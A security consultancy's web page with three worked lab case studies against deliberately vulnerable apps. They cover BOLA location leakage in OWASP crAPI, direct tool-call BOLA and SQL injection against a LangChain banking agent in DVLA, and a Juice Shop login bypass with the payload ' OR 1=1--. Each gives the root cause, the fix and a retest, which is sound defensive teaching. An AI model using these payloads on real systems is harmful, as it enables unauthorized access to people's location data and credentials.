Research / Application labs
Application security lab case studies
Worked examples of access-control and injection failures in intentionally vulnerable applications. Follow the request, root cause and fix.
Discuss your scope in a 15-min callHow to read these
Real exploits. Recognized labs. No client data.
1 · Broken object-level authorization (BOLA)
An account owning zero vehicles reads another user's live GPS location and email. OWASP crAPI.
High2 · AI agent tool authz + SQL injection
Direct calls to a banking agent's tool expose other users' data and credentials. WithSecure DVLA.
Critical3 · SQL injection → admin auth bypass
One login request logs in as administrator with no password. Comes with the corrected code and a passing retest. OWASP Juice Shop.
Reading another user's live vehicle location via BOLA High
crAPI is OWASP's deliberately-vulnerable, realistic vehicle-service SaaS API with real user roles, JWT auth, and a community forum. A close stand-in for the multi-tenant SaaS APIs I test.
An authenticated attacker who owns no vehicles can read any other user's real-time GPS location. The community endpoint leaks other users' email + vehicleid (excessive data exposure); that vehicleid then works on the location endpoint, which never checks ownership.
Any free account can track any other customer's physical location in real time and harvest their email. That's a privacy and physical-safety breach, and all it takes to cross that boundary is a free signup.
# attacker owns NO vehicles
GET /identity/api/v2/vehicle/vehicles -> []
# community endpoint leaks another user's identifiers
GET /community/api/v2/community/posts/recent
victim -> email: robot001@example.com vehicleid: 4bae9968-...-e5e5
# BOLA: victim's location, fetched with the ATTACKER's token
GET /identity/api/v2/vehicle/4bae9968-...-e5e5/location
HTTP/1.1 200 OK
{"carId":"4bae9968-...","vehicleLocation":{"latitude":"37.746880",
"longitude":"-84.301460"},"fullName":"Robot","email":"robot001@example.com"}The location endpoint authorizes on authentication (a valid JWT) but not on object ownership. It never asks whether the vehicle belongs to the caller. Separately, the community response returns fields the caller has no need to see (email, vehicleid), supplying the id used above.
Enforce server-side ownership on every object lookup: the vehicle's owner must equal the caller, else return 404. Trim the community response to non-sensitive fields only. Add object-level authorization tests to CI.
After applying the ownership check, the cross-user request should return 403 or 404 without location or personal data. The community feed should omit other users' email and vehicle identifiers, while legitimate owner access still succeeds. This section describes the checks to perform; it does not present a captured retest result.
Reproduce: cs1_idor_crapi/exploit_crapi_bola.sh (crAPI up on :8888) ·
script & evidence on GitHub
An AI agent's tool trusts model-controlled input High
A LangChain ReAct "banking assistant" whose system prompt explicitly says to operate ONLY on the
current user's id and refuse any other. It exposes a GetUserTransactions tool. It's a
faithful model of the agent/tool boundary I test in AI products.
The tool trusts the id it is handed: it returns another user's transactions without ownership scoping and interpolates that id directly into SQL. The reproduction below calls the tool directly to demonstrate both failures. It does not establish an end-to-end prompt-injection bypass through the conversational agent.
In the self-hosted lab, attacker-controlled tool arguments return another user's transactions and, through SQL injection, the users' stored credentials. The tool therefore needs its own authorization and input handling, independently of the assistant's prompt rules.
guardrail (system prompt): operate ONLY on GetCurrentUser()'s id (user 1); refuse others.
[BOLA] GetUserTransactions('2') -> another user's data:
{"transactionId":3,"userId":2,"reference":"PlutoniumPurchase",
"recipient":"FLAG:plutonium-256","amount":5000.0}
[SQLi] GetUserTransactions("0' UNION SELECT userId,username,password,'sqli',0 FROM Users-- ")
-> MartyMcFly:Password1 DocBrown:flux-capacitor-123 BiffTannen:Password3 ...
[retest] scoped + parameterized tool: cross-user leak = False; credential dump = False; own-data = True -> PASSEDThe tool derives authority from model/user-controlled arguments instead of the authenticated session, and builds SQL by string interpolation. Model output is treated as trusted input to a privileged data action.
Treat model output as untrusted. Scope the query to the authenticated user server-side and ignore any model-supplied id; parameterize the SQL; require confirmation for sensitive tool actions.
PASSED. With the scoped, parameterized tool the cross-user request returns only the caller's own rows and the injection payload is inert, while legitimate use still works.
Reproduce: cs2_ai_agent/cs2_tool_layer_exploit.py + cs2_fix_retest.py ·
scripts & evidence on GitHub
SQL injection in login → authentication bypass as administrator Critical
Juice Shop is the most widely recognized deliberately-vulnerable web app. This one goes past the exploit to the corrected code, plus a regression test that proves the fix holds.
The login endpoint builds its SQL by string-interpolating the email field. The payload ' OR 1=1--
in the email logs the attacker in as the first user, the administrator, with no valid password.
Full administrator account takeover with no credentials: a single request returns an admin session token (decoded JWT role = admin).
# baseline: correct endpoint, wrong password
POST /rest/user/login {"email":"admin@juice-sh.op","password":"wrong"} -> 401
# exploit: SQL injection in the email field
POST /rest/user/login {"email":"' OR 1=1--","password":"anything"} -> 200 OK
authentication.umail = admin@juice-sh.op (decoded JWT role: admin)
# vulnerable code -- routes/login.ts:34
models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email||''}'
AND password = '${security.hash(req.body.password||'')}' AND deletedAt IS NULL`)
# remediation retest (parameterized query), same payload:
inject -> no row (denied) valid login -> ok wrong password -> denied -> PASSEDUser input (email) is concatenated into the SQL statement, so input can change the query's structure. That's the classic SQL-injection root cause.
Use parameterized queries / an ORM binding so input can never alter SQL structure
(e.g. WHERE email = ? AND password = ?). Never interpolate request fields into SQL.
PASSED. A faithful reproduction of the same query shows the injection succeeds before the fix and fails after, while valid login still works and a wrong password is still rejected.
Reproduce: cs3_sqli_juiceshop/sqli_fix_reproduction.py (live exploit + fix) ·
script & evidence on GitHub
For your product, explore SaaS and API reviews or AI agent security testing.
Your next step
Talk through your product.
Bring your product, your timeline, and the questions your customers are asking. We’ll use a 15-minute call to discuss fit and scope.